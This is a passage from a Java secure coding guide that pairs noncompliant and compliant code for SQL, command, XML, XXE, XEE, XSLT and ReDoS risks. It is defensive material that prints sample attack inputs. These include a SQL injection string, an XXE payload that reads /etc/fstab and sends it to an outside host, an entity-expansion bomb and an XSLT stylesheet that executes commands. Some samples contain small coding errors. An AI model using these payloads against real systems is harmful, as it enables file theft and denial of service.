994public static String getSavePath(String filePath, String fileName) { 995 return ClassLoader.getSystemResource(fileName).getPath(); 996} 997``` 998 999Canonicalize the environment variable value and validate it before using it: 1000 1001```java 1002public static String getFile(String filePath, String fileName) { 1003 //Obtain the class path of the process 1004 String path = System.getProperty(RUNTIME_BASE_DIR); 1005 1006 //Canonicalization 1007 //Validation, for example, StringUtils.startsWith(path, "/opt/xxxx/release/"); 1008 //Use 1009} 1010``` 1011 1012**\[Noncompliant Code Example]** 1013 1014This noncompliant code example uses the configuration file without validating it. 1015 1016```java 1017@Configuration 1018@PropertySource("classpath:xxx.properties") 1019@Component 1020public class XxxConfig { 1021 @Value("${appId}") 1022 private String appId; 1023 1024 @Value("${secret}") 1025 private String citySecret; 1026} 1027``` 1028 1029**\[Compliant Code Example]** 1030 1031The Spring Boot framework can use annotations @ConfigurationProperties and @Validated to validate the configuration file: 1032 1033```java 1034@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx") 1035@Validated 1036public class XxxConfig { 1037 @Value("${appId}") 1038 @Pattern(regexp = "[0-9_A-Z]{32}") 1039 private String appId; 1040 1041 @Value("${secret}") 1042 @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!") 1043 private String citySecret; 1044 1045 //Setter and Getter methods 1046} 1047``` 1048 1049The ServiceComb framework can use the **validation-api** provided by Java to obtain the configuration file object from the Bean context and explicitly invoke the validation method. 1050 1051## Do not directly use external data to concatenate SQL statements 1052 1053**\[Description]** 1054 1055SQL injection occurs when the database operations represented by SQL statements constructed using external data do not behave as expected, which may lead to information leak or data tampering. The root cause is the direct use of external data to concatenate the SQL statements. The following measures can help prevent SQL injection: 1056 1057- Parameterized query: the most effective, but not applicable to table names and field names in SQL statements; 1058- Trustlist validation on external data: applicable to table names and field names used to concatenate SQL statements; 1059- Escaping special characters related to SQL injection in external data: applicable to scenarios where SQL statements must be concatenated using strings. Only fields with quotation marks can be escaped. 1060 1061Parameterized query is preferred because it is an easy way to effectively prevent SQL injection. In addition, parameterized query can improve database access performance. For example, SQL Server and Oracle databases cache a query plan for reuse when the same query statement is executed repeatedly. Common ORM frameworks (such as Hibernate and iBATIS) also support parameterized query. 1062 1063**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Java Code) 1064 1065```java 1066Statement stmt = null; 1067ResultSet rs = null; 1068try { 1069 String userName = request.getParameter("name"); 1070 String password = request.getParameter("password"); 1071 ... 1072 String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName 1073 + "' AND password = '" + password + "'"; 1074 stmt = connection.createStatement(); 1075 rs = stmt.executeQuery(sqlString); 1076 ... //Handle the result set 1077} catch (SQLException ex) { 1078 //Handle the exception 1079} 1080``` 1081 1082This noncompliant code example uses the user-supplied user name and password to construct the SQL statement and verifies the user name and password. The SQL statement is constructed through concatenation, leading to SQL injection risks. An ill-intentioned user who knows the user name can perform the query using `zhangsan' OR 'a' = 'a` and an **arbitrary password**. 1083 1084**\[Compliant Code Example]** (Using **PreparedStatement** for Parameterized Query) 1085 1086```java 1087PreparedStatement stmt = null; 1088ResultSet rs = null; 1089try { 1090 String userName = request.getParameter("name"); 1091 String password = request.getParameter("password"); 1092 ... //Ensure that the lengths of userName and password are valid 1093 String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?"; 1094 stmt = connection.prepareStatement(sqlStr); 1095 stmt.setString(1, userName); 1096 stmt.setString(2, password); 1097 rs = stmt.executeQuery(); 1098 ... //Handle the result set 1099} catch (SQLException ex) { 1100 //Handle the exception 1101} 1102``` 1103 1104In parameterized query, placeholders are used to represent parameter values required at execution time. In this way, the semantic logic of the SQL query is pre-defined, and the actual parameter value is determined at the execution time. Parameterized query helps databases distinguish semantic logic from parameters in SQL statements, ensuring that user input cannot change the expected semantic logic of the SQL query. If the attacker enters `zhangsan' OR 'a' = 'a` as the user name, the string is used only as the value of the **name** field. 1105 1106**\[Compliant Code Example]** (Escaping the Input) 1107 1108```java 1109public List<Book> queryBooks(List<Expression> queryCondition) { 1110 ... 1111 try { 1112 StringBuilder sb = new StringBuilder("select * from t_book where "); 1113 Codec oe = new OracleCodec(); 1114 if (queryCondition != null && !queryCondition.isEmpty()) { 1115 for (Expression e : queryCondition) { 1116 String exprString = e.getColumn() + e.getOperator(); 1117 String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue()); 1118 sb.append(exprString).append("'").append(safeValue).append("' and "); 1119 } 1120 sb.append("1=1"); 1121 Statement stat = connection.createStatement(); 1122 ResultSet rs = stat.executeQuery(sb.toString()); 1123 ... //Other code 1124 } 1125 } 1126 ... 1127} 1128``` 1129 1130Although parameterized query is the most convenient and effective way to prevent SQL injection, it is not applicable to all scenarios, because not any part of an SQL statement can be replaced by a placeholder before execution. When an SQL statement is dynamically constructed using external data that cannot be replaced by placeholders before execution, the external data must be validated. Each DBMS has its own escape mechanism to tell the database that the input should be treated as data, not code logic. Therefore, as long as the input data is properly escaped, SQL injection will not occur. 1131 1132**Note**: If the passed data is a field name or table name, trustlist validation is recommended. 1133 1134Similar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks. 1135 1136**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Stored Procedure) 1137 1138SQL Server stored procedure: 1139 1140```sql 1141CREATE PROCEDURE sp_queryItem 1142 @userName varchar(50), 1143 @password varchar(50) 1144AS 1145BEGIN 1146 DECLARE @sql nvarchar(500); 1147 SET @sql = 'SELECT * FROM t_user_info 1148 WHERE name= ''' + @userName + ''' 1149 AND password= ''' + @password + ''''; 1150 EXEC(@sql); 1151END 1152GO 1153``` 1154 1155Similar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks. 1156 1157**\[Compliant Code Example]** (Parameterized Query in Stored Procedure) 1158 1159SQL Server stored procedure: 1160 1161```sql 1162CREATE PROCEDURE sp_queryItem 1163 @userName varchar(50), 1164 @password varchar(50) 1165AS 1166BEGIN 1167 SELECT * FROM t_user_info 1168 WHERE name = @userName 1169 AND password = @password; 1170END 1171GO 1172``` 1173 1174Use parameterized query in stored procedures and avoid insecure dynamic building of SQL statements. When compiling these stored procedures, the database will generate a SELECT query execution plan to allow only original SQL semantics to be executed and prohibit the execution of any parameter values, even injected SQL statements. 1175 1176## Do not use external data to construct format strings 1177 1178**\[Description]** 1179 1180Format in Java can convert an object into a character string in a specified format. A format string controls the length, content, and style of the final character string. If the format specified in the format string does not match the format object, an exception may be thrown. An attacker who can directly control a format string can cause information leak, DoS, system functional anomalies, and other risks. 1181 1182**\[Noncompliant Code Example]** 1183 1184```java 1185public String formatInfo(String formatStr) { 1186 String value = getData(); 1187 return String.format(formatStr, value)); 1188} 1189 1190String formatStr = req.getParameter("format"); 1191String formattedValue = formatInfo(formatStr); 1192``` 1193 1194In this noncompliant code example, an externally specified format is used to format a character string. If the externally specified format is not a character type (for example, **%d**), an exception will occur during the format operation. 1195 1196**\[Compliant Code Example]** 1197 1198```java 1199public String formatInfo() { 1200 String value = getData(); 1201 return String.format("my format: %s", value)); 1202} 1203``` 1204 1205This compliant code example excludes user input from the format string. 1206 1207## Do not pass external data to the **Runtime.exec()** method or **java.lang.ProcessBuilder** class 1208 1209**\[Description]** 1210 1211The `Runtime.exec()` method or `java.lang.ProcessBuilder` class is used to start a new process and execute commands in the new process. Directly executing a command constructed using external data, for example, `Runtime.getRuntime().exec("ping 127.0.0.1")`, may incur the following risks: 1212 1213- The command to be executed is split using the command interpreter. In this mode, multiple commands can be executed, causing command injection risks. 1214- Parameters are injected into the command using spaces, double quotation marks, or strings starting **-/**, leading to parameter injection risks. 1215 1216**Using external data to construct non-shell commands** 1217 1218**\[Noncompliant Code Example]** 1219 1220```java 1221String cmd = "ping" + ip; 1222Runtime rt = Runtime.getRuntime(); 1223Process proc = rt.exec(cmd); 1224``` 1225 1226When the value of **ip** is **127.0.0.1 -t**, the **-t** parameter is injected into the executed command. As a result, the ping process is continuously executed. 1227 1228The solutions to command injection or parameter injection are as follows: 1229 12301\. **Do not directly run the command** 1231 1232To use the functions provided by standard Java libraries or open-source components, use the APIs of the libraries or components to avoid running commands. 1233 1234If command execution is inevitable, validate and sanitize external data. 1235 12362\. **Validate external data** 1237 1238**\[Compliant Code Example]** (Data Validation) 1239 1240```java 1241... 1242//The str value comes from the user input 1243if (!Pattern.matches("[0-9A-Za-z@]+", str)) { 1244 //Handle the error 1245} 1246... 1247``` 1248 1249When external data is used to concatenate commands, validate external data using a trustlist and exclude special characters that may incur injection risks. 1250 12513\. **Escape external data** 1252 1253**\[Compliant Code Example]** (Escape) 1254 1255```java 1256String encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip); 1257String cmd = "cmd.exe /c ping " + encodeIp; 1258Runtime rt = Runtime.getRuntime(); 1259Process proc = rt.exec(cmd); 1260... 1261``` 1262 1263If risky special characters cannot be avoided through input validation during command execution, the external input must be escaped. Using escaped fields to concatenate commands can effectively prevent command injection. 1264 1265Remarks: The correct practice is to escape only external input, but not the entire concatenated command. The escape method can effectively prevent command injection, but not parameter injection. 1266 1267## Do not directly use external data to concatenate XML 1268 1269**\[Description]** 1270 1271Using unverified data to construct XML will result in XML injection vulnerabilities. If users are allowed to enter structured XML segments, they can inject XML tags into the XML data domain to rewrite the structure and content of the target XML file. These tags are identified and interpreted by the XML parser and may cause XML injection. 1272 1273**\[Noncompliant Code Example]** 1274 1275```java 1276private void createXMLStream(BufferedOutputStream outStream, User user) 1277 throws IOException { 1278 String xmlString; 1279 xmlString = "<user><role>operator</role><id>" + user.getUserId() 1280 + "</id><description>" + user.getDescription() + "</description></user>"; 1281 ... //Parse the XML string 1282} 1283``` 1284 1285An ill-intentioned user may use the following string as the user ID: 1286 1287``` 1288"joe</id><role>administrator</role><id>joe" 1289 1290``` 1291 1292And enter the following normal input in the description field: 1293 1294``` 1295"I want to be an administrator" 1296 1297``` 1298 1299Eventually, the entire XML string becomes the following: 1300 1301```xml 1302<user> 1303 <role>operator</role> 1304 <id>joe</id> 1305 <role>administrator</role> 1306 <id>joe</id> 1307 <description>I want to be an administrator</description> 1308</user> 1309``` 1310 1311The SAX parser (org.xml.sax and javax.xml.parsers.SAXParser) overwrites the value of the second **role** field when interpreting the XML file. As a result, the user is escalated from an operator to an administrator. 1312 1313**\[Noncompliant Code Example]** (XML Schema or DTD Validation) 1314 1315```java 1316private void createXMLStream(BufferedOutputStream outStream, User user) 1317 throws IOException { 1318 String xmlString; 1319 xmlString = "<user><id>" + user.getUserId() 1320 + "</id><role>operator</role><description>" + user.getDescription() 1321 + "</description></user>"; 1322 1323 StreamSource xmlStream = new StreamSource(new StringReader(xmlString)); 1324 1325 //Create an SAX parser that uses the schema to perform validation 1326 SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); 1327 StreamSource ss = new StreamSource(new File("schema.xsd")); 1328 try { 1329 Schema schema = sf.newSchema(ss); 1330 Validator validator = schema.newValidator(); 1331 validator.validate(xmlStream); 1332 } catch (SAXException ex) { 1333 throw new IOException("Invalid userId", ex); 1334 } 1335 1336 //The XML is valid and is processed 1337 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1338 outStream.flush(); 1339} 1340``` 1341 1342The schema definition in the **schema.xsd** file is as follows: 1343 1344```xml 1345<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> 1346 <xs:element name="user"> 1347 <xs:complexType> 1348 <xs:sequence> 1349 <xs:element name="id" type="xs:string"/> 1350 <xs:element name="role" type="xs:string"/> 1351 <xs:element name="description" type="xs:string"/> 1352 </xs:sequence> 1353 </xs:complexType> 1354 </xs:element> 1355</xs:schema> 1356``` 1357 1358An ill-intentioned user may use the following string as the user ID: 1359 1360``` 1361"joe</id><role>Administrator</role><!--" 1362 1363``` 1364 1365And enter the following string in the description field: 1366 1367``` 1368"--><description>I want to be an administrator" 1369 1370``` 1371 1372Eventually, the entire XML string becomes the following: 1373 1374```xml 1375<user> 1376 <id>joe</id> 1377 <role>Administrator</role><!--</id> <role>operator</role> <description> --> 1378 <description>I want to be an administrator</description> 1379</user> 1380``` 1381 1382The `<!--` at the end of the user ID and the `-->` at the beginning of the description field will comment out the role information hard coded in the XML string. Although the user role has been changed to the administrator by an attacker, the entire XML string can still be verified by the schema. XML schema or DTD validation ensures that the XML format is valid, but attackers can tamper with the XML content without breaking the original XML format. 1383 1384**\[Compliant Code Example]** (Trustlist Validation) 1385 1386```java 1387private void createXMLStream(BufferedOutputStream outStream, User user) 1388 throws IOException { 1389 //Write the XML string only when the user ID contains only letters, digits, and underscores (_) 1390 if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) { 1391 //Handle the error 1392 } 1393 if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) { 1394 //Handle the error 1395 } 1396 String xmlString = "<user><id>" + user.getUserId() 1397 + "</id><role>operator</role><description>" 1398 + user.getDescription() + "</description></user>"; 1399 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1400 outStream.flush(); 1401} 1402``` 1403 1404The trustlist validation ensures that the user ID contains only letters, digits, and underscores (\_) 1405 1406**\[Compliant Code Example]** (Using a Secure XML Library) 1407 1408```java 1409public static void buildXML(FileWriter writer, User user) throws IOException { 1410 Document userDoc = DocumentHelper.createDocument(); 1411 Element userElem = userDoc.addElement("user"); 1412 Element idElem = userElem.addElement("id"); 1413 idElem.setText(user.getUserId()); 1414 Element roleElem = userElem.addElement("role"); 1415 roleElem.setText("operator"); 1416 Element descrElem = userElem.addElement("description"); 1417 descrElem.setText(user.getDescription()); 1418 XMLWriter output = null; 1419 try { 1420 OutputFormat format = OutputFormat.createPrettyPrint(); 1421 format.setEncoding("UTF-8"); 1422 output = new XMLWriter(writer, format); 1423 output.write(userDoc); 1424 output.flush(); 1425 } finally { 1426 //Close the stream 1427 } 1428} 1429``` 1430 1431This compliant code example uses Dom4j, a well-defined, open-source XML tool library, to construct XML. Dom4j will encode the text data field in XML format to protect the original structure and format of the XML from damage. 1432 1433In this example, if the attacker enters the following string as the user ID: 1434 1435``` 1436"joe</id><role>Administrator</role><!--" 1437 1438``` 1439 1440And enter the following string in the description field: 1441 1442``` 1443"--><description>I want to be an administrator" 1444 1445``` 1446 1447The generated XML will take the following format: 1448 1449```xml 1450<user> 1451 <id>joe</id><role>Administrator</role><!--</id> 1452 <role>operator</role> 1453 <description>--><description>I want to be an administrator</description> 1454</user> 1455``` 1456 1457As shown above, **\<** and **>** are replaced with **\<** and **\>** respectively after XML encoding. As a result, the attacker fails to escalate from an operator to an administrator. 1458 1459**\[Compliant Code Example]** (Encoding) 1460 1461```java 1462private void createXMLStream(BufferedOutputStream outStream, User user) 1463 throws IOException { 1464 ... 1465 String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId()); 1466 String encodeDec = XXXXEncoder.encodeForXML(user.getDescription()); 1467 1468 String xmlString = "<user><id>" + encodeUserId 1469 + "</id><role>operator</role><description>" + encodeDec 1470 + "</description></user>"; 1471 outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1472 outStream.flush(); 1473} 1474``` 1475 1476In this compliant code example, external data is encoded before the XML string is concatenated, to prevent tampering with the XML string structure. 1477 1478## Prevent XML External Entity (XXE) attacks caused by parsing external XML 1479 1480**\[Description]** 1481 1482XML entities include internal and external entities. An external entity takes the format of `<!ENTITY SYSTEM "URI"\>` or `<!ENTITY PUBLIC "public_ID" "URI"\>`. In Java, protocols that introduce external entities include HTTP, HTTPS, FTP, file, JAR, netdoc, and mailto. The XXE vulnerability occurs when an application parses external XML data or files without forbidding the loading of external entities, causing arbitrary file reading, intranet port scanning, intranet website attacks, DoS, and other attacks. 1483 14841\. Use the external entity reference function to read arbitrary files: 1485 1486```xml 1487<?xml version="1.0" encoding="utf-8"?> 1488<!DOCTYPE updateProfile [ 1489 <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]> 1490<updateProfile> 1491 <firstname>Joe</firstname> 1492 <lastname>&file;</lastname> 1493 ... 1494</updateProfile> 1495``` 1496 14972\. Use parameter entities and **\<CDATA\[]>** to avoid XML parsing syntax errors and the parsing of malicious entities. 1498 1499XML file: Construct the parameter entities **% start**, **% goodies**, **% end**, and **% dtd** to define a malicious **combine.dtd**. 1500 1501```xml 1502<?xml version="1.0" encoding="utf-8"?> 1503<!DOCTYPE roottag [ 1504 <!ENTITY % start "<![CDATA["> 1505 <!ENTITY % goodies SYSTEM "file:///etc/fstab"> 1506 <!ENTITY % end "]]>"> 1507 <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> 1508 %dtd; 1509 ]> 1510<roottag>&all;</roottag> 1511``` 1512 1513Define the **\&all** entity in the malicious DTD **combine.dtd**. 1514 1515```xml 1516<?xml version="1.0" encoding="UTF-8"?> 1517<!ENTITY all "%start;%goodies;%end;"> 1518``` 1519 1520An ill-intentioned user can even construct a malicious **combine.dtd** to send the result to the destination address and finally obtain the **file:///etc/fstab** file. 1521 1522```xml 1523<?xml version="1.0" encoding="UTF-8"?> 1524<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>"> 1525%send; 1526``` 1527 1528**\[Noncompliant Code Example]** 1529 1530In this example, an external XML file is parsed. The parsing of DTDs or external entities is not disabled. 1531 1532```java 1533private void parseXmlFile(String filePath) { 1534 try { 1535 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1536 DocumentBuilder db = dbf.newDocumentBuilder(); 1537 Document doc = db.parse(new File(filePath)); 1538 ... //Parse the XML file 1539 } catch (ParserConfigurationException ex) { 1540 //Handle the exception 1541 } 1542 ... 1543} 1544``` 1545 1546This noncompliant code example does not provide security protection for XML parsing. When the XML file is crafted by an attacker, the system is vulnerable to XXE attacks. 1547 1548**\[Complaint Code Example]** (Disabling DTD Parsing) 1549 1550```java 1551private void parserXmlFileDisableDtds(String filePath) { 1552 try { 1553 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1554 1555 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1556 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1557 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1558 DocumentBuilder db = dbf.newDocumentBuilder(); 1559 Document doc = db.parse(new File(filePath)); 1560 ... //Parse the XML file 1561 } catch (ParserConfigurationException ex) { 1562 //Handle the exception 1563 } 1564 ... 1565} 1566``` 1567 1568The compliant code example disables the parsing of DTDs, which can prevent both XXE and internal entity attacks. 1569 1570**\[Compliant Code Example]** (Disabling the Parsing of External General Entities and Parameter Entities) 1571 1572This compliant code example can prevent XXE attacks but not XML internal entity attacks. 1573 1574```java 1575private void parserXmlFileDisableExternalEntityes(String filePath) { 1576 try { 1577 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1578 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); 1579 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1580 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1581 DocumentBuilder db = dbf.newDocumentBuilder(); 1582 Document doc = db.parse(new File(filePath)); 1583 ... //Parse the XML file 1584 } catch (ParserConfigurationException ex) { 1585 //Handle the exception 1586 } 1587 ... 1588} 1589``` 1590 1591**\[Compliant Code Example]** (Trustlist Validation on External Entities) 1592 1593The compliant code example defines a **CustomResolver** class to implement interface `org.xml.sax.EntityResolver`. A customized mechanism for processing external entities is implemented in this class. The customized entity parsing method uses a simple trustlist for validation. If a match is found in the trustlist, the corresponding file content is returned; if no match is found, the returned result is empty. 1594 1595```java 1596private static void parserXmlFileValidateEntities(String filePath) { 1597 try { 1598 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1599 DocumentBuilder db = dbf.newDocumentBuilder(); 1600 db.setEntityResolver(new ValidateEntityResolver()); 1601 Document doc = db.parse(new File(filePath)); 1602 ... //Parse the XML file 1603 } catch (ParserConfigurationException ex) { 1604 //Handle the exception 1605 } 1606 ... 1607} 1608 1609class ValidateEntityResolver implements EntityResolver { 1610 private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml"; 1611 1612 public InputSource resolveEntity(String publicId, String systemId) 1613 throws SAXException, IOException { 1614 if (publicId != null && publicId.equals(GOOD_ENTITY)) { 1615 return new InputSource(publicId); 1616 } else if (systemId != null && systemId.equals(GOOD_ENTITY)) { 1617 return new InputSource(systemId); 1618 } else { 1619 return new InputSource(); 1620 } 1621 } 1622} 1623``` 1624 1625If external entities must be used in XML operations in the system, the external entities must be validated against the trustlist. As shown in the above example, a `ValidateEntityResolver` class is customized (with implementation interface `org.xml.sax.EntityResolver`) to validate XXEs using the `resolveEntity` method. XXEs not in the trustlist are not parsed. 1626 1627Remarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of external entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect. 1628 1629## Prevent XML Entity Expansion (XEE) attacks caused by parsing external XML 1630 1631**\[Description]** 1632 1633The content of XML internal entities has been declared in Doctype. An internal entity takes the format of or `<!ENTITY "ENTITY VALUE"\>`. XEE attack is a common internal entity attack. It mainly attempts to consume the server memory resources of the target program to cause DoS attacks. XXE and XEE attacks have different protection measures (disabling DTD parsing can prevent both). 1634 1635Parsing the malicious internal entity in the following example occupies many server memory resources, causing DoS attacks. 1636 1637```xml 1638<?xml version="1.0"?> 1639<!DOCTYPE lolz [ 1640 <!ENTITY lol "lol"> 1641 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 1642 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 1643 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 1644 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 1645 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 1646 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 1647 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 1648 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 1649 ]> 1650<lolz>&lol9;</lolz> 1651``` 1652 1653**Disabling DTD parsing is the best method to protect** against XEE attacks. You can also limit the number of internal entities to reduce the possibility of XEE attacks. If internal entities are not required, disable DTD parsing. If internal entities are required, strictly limit the number of internal entities and the size of XML content. 1654 1655**\[Complaint Code Example]** (Disabling DTD Parsing) 1656 1657```java 1658public void receiveXMLStream(InputStream inStream) 1659 throws ParserConfigurationException, SAXException, IOException { 1660 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1661 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1662 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1663 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1664 DocumentBuilder db = dbf.newDocumentBuilder(); 1665 db.parse(inStream); 1666} 1667``` 1668 1669**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1670 1671The default maximum number of entities to be parsed by the JAXP parser in Java is 64,000, while fewer entities need to be parsed by the JAXP parser in fact. Therefore, we can set a smaller number. The following code example limits the number of entities to be parsed by setting the attributes of the DOM parser. 1672 1673```java 1674public void receiveXMLStream(InputStream inStream) 1675 throws ParserConfigurationException, SAXException, IOException { 1676 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1677 dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit", 1678 "200"); 1679 DocumentBuilder db = dbf.newDocumentBuilder(); 1680 db.parse(inStream); 1681} 1682``` 1683 1684Remarks: The **http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. The SAX and StAX parsers in JAXP do not support this attribute. 1685 1686**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1687 1688The following code example limits the number of entities to be parsed by setting system attributes. 1689 1690```java 1691public void receiveXMLStream(InputStream inStream) 1692 throws ParserConfigurationException, SAXException, IOException { 1693 1694 //Use system attributes to limit the number of entities 1695 System.setProperty("entityExpansionLimit", "200"); 1696 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1697 DocumentBuilder db = dbf.newDocumentBuilder(); 1698 db.parse(inStream); 1699} 1700``` 1701 1702Remarks: The **entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. This method is effective in both SAX and StAX parsers in JAXP. 1703 1704Some products use the DOM, SAX, and StAX parsers provided by the Xerces third-party JAR package, where you can set `setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)` to limit the number of entities to be no more than 100,000. 1705 1706**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1707 1708This compliant code example limits the number of parsed entities in the Xerces package. 1709 1710```java 1711private static void receiveXMLStream(InputStream inStream) 1712 throws ParserConfigurationException, SAXException, IOException { 1713 DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance(); 1714 factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1715 DocumentBuilder db = factory.newDocumentBuilder(); 1716 org.w3c.dom.Document doc = db.parse(inStream); 1717 doc.getChildNodes(); 1718} 1719``` 1720 1721Remarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of internal entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect. 1722 1723## Do not use insecure XSLT to convert XML files 1724 1725**\[Description]** 1726 1727Extensible stylesheet language transformation (XSLT) can convert XML data into other XML format or other formats such as HTML and pure text. XSLT can be exploited to execute arbitrary code. Therefore, when **TransformerFactory** is used to convert XML data, security policies need to be added to prevent insecure XSLT code execution. 1728 1729**\[Noncompliant Code Example]** 1730 1731```java 1732public void XsltTrans(String src, String dst, String xslt) { 1733 //Obtain the transformer factory 1734 TransformerFactory tf = TransformerFactory.newInstance(); 1735 try { 1736 //Obtain the transformer object instance 1737 Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1738 1739 //Carry out transformation 1740 transformer.transform(new StreamSource(src), 1741 new StreamResult(new FileOutputStream(dst))); 1742 ... 1743 } catch (TransformerException ex) { 1744 //Handle the exception 1745 } 1746 ... 1747} 1748``` 1749 1750In this example, XSLT is not restricted and is called directly. When XSLT code resembling the following is executed, command execution vulnerabilities may occur: 1751 1752```xml 1753<?xml version="1.0" encoding="UTF-8" ?> 1754<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java"> 1755 <xsl:template match="/" xmlns:os="java:lang.Runtime" > 1756 <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/> 1757 <xsl:value-of select="os:exec($runtime, 'calc')" /> 1758 </xsl:template> 1759</xsl:stylesheet> 1760``` 1761 1762**\[Compliant Code Example]** 1763 1764```java 1765public void xsltTrans(String src, String dst, String xslt) { 1766 //Obtain the transformer factory 1767 TransformerFactory tf = TransformerFactory.newInstance(); 1768 try { 1769 //Set a blocklist for the transformer factory to prohibit some insecure methods, which is similar to XXE protection 1770 tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1771 1772 //Obtain the transformer object instance 1773 Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1774 1775 //Remove <?xml version="1.0" encoding="UTF-8"?> 1776 transformer.setOutputProperty("omit-xml-declaration", "yes"); 1777 1778 //Carry out transformation 1779 transformer.transform(new StreamSource(src), 1780 new StreamResult(new FileOutputStream(dst))); 1781 ... 1782 } catch (TransformerException ex) { 1783 //Handle the exception 1784 } 1785 ... 1786} 1787``` 1788 1789A security policy can be added to **TransformerFactory**. Java has a built-in blocklist for XSLT. Here some insecure methods are disabled by setting **http://javax.xml.XMLConstants/feature/secure-processing** to **true**. 1790 1791## Try best to simplify the regular expression (regex) to prevent regular expression denial of service (ReDoS) attacks 1792 1793**\[Description]** 1794 1795ReDoS attacks are common security risks caused by inappropriate regexes. The NFA engine is used for regex matching in Java. Due to the backtracking mechanism of the NFA engine, the time consumed when a regex is not matched is longer than the time consumed when the regex is matched. That's because the regex needs to be matched against all possible paths before a mismatch is determined and a failure is returned. ReDoS attacks rarely occur when a simple regex without groups is used. The following types of regexes are vulnerable to ReDoS attacks: 1796 17971\. Regexes containing self-repeating groups, for example: 1798 1799`^(\d+)+$` 1800 1801 `^(\d*)*$` 1802 1803 `^(\d+)*$` 1804 1805 `^(\d+|\s+)*$` 1806 18072\. Regexes containing repetitive groups with replacement, for example: 1808 1809`^(\d|\d|\d)+$` 1810 1811`^(\d|\d?)+$` 1812 1813Measures for defending against ReDoS attacks are as follows: 1814 1815- Check the text length before regex matching. 1816- Avoid using complex regexes and minimize groups. Take `^(([a-z])+\.)+[A-Z]([a-z])+$` (which has the ReDoS risk) as an example. You can delete the redundant group `^([a-z]+\.)+[A-Z][a-z]+$` without altering the check rule, eliminating the ReDoS risk. 1817- Do not dynamically construct regexes. Implement strict trustlist validation when using external data to construct regexes. 1818 1819**\[Noncompliant Code Example]** 1820 1821```java 1822private static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d"); 1823 1824public static void main(String[] args) { 1825 ... 1826 Matcher matcher = REGEX_PATTER.matcher(args[0]); 1827 if (matcher.matches()) { 1828 